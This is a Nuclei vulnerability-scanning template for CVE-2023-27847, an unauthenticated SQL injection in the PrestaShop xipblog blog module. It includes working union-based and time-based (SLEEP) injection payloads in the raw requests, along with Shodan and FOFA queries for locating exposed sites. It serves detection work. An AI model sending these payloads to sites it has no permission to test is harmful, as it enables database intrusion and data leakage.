PrestaShop xipblog - SQL Injection

ID: CVE-2023-27847

Severity: critical

Author: mastercho

Tags: time-based-sqli,cve,cve2023,prestashop,sqli,xipblog

Description

In the blog module (xipblog), an anonymous user can perform SQL injection. Even though the module has been patched in version 2.0.1, the version number was not incremented at the time.

YAML Source

id: CVE-2023-27847

info:
  name: PrestaShop xipblog - SQL Injection
  author: mastercho
  severity: critical
  description: |
    In the blog module (xipblog), an anonymous user can perform SQL injection. Even though the module has been patched in version 2.0.1, the version number was not incremented at the time.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  reference:
    - https://security.friendsofpresta.org/modules/2023/03/23/xipblog.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-27847
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-27847
    cwe-id: CWE-89
    epss-score: 0.04685
    epss-percentile: 0.91818
  metadata:
    verified: true
    max-request: 2
    framework: prestashop
    shodan-query: html:"/xipblog"
    fofa-query: app="Prestashop"
  tags: time-based-sqli,cve,cve2023,prestashop,sqli,xipblog

flow: http(1) && http(2)

variables:
  num: "999999999"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(tolower(response), "prestashop", "xipblog")'
        internal: true

  - raw:
      - |
        @timeout: 20s
        GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+UNION+ALL+SELECT+NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(md5({{num}})),NULL,NULL--+- HTTP/1.1
        Host: {{Hostname}}

      - |
        @timeout: 30s
        GET /module/xipblog/archive?id=1&page_type=category&rewrite=news&subpage_type=post"+AND+(SELECT+5728+FROM+(SELECT(SLEEP(10)))AuDU)--+lafl HTTP/1.1
        Host: {{Hostname}}

    stop-at-first-match: true
    host-redirects: true
    matchers:
      - type: word
        name: union-based
        part: body_1
        words:
          - '{{md5({{num}})}}'

      - type: dsl
        name: time-based
        dsl:
          - 'duration_2>=10'
# digest: 4b0a00483046022100ee9952798735737282760b348dedbd32514385b1c1f2c3449f7246e354f22eab022100b897113ebfde45365e8c9cb6b512abbf88f3a1742bfddce15cbba90c9ba4a42e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-27847.yaml"

View on Github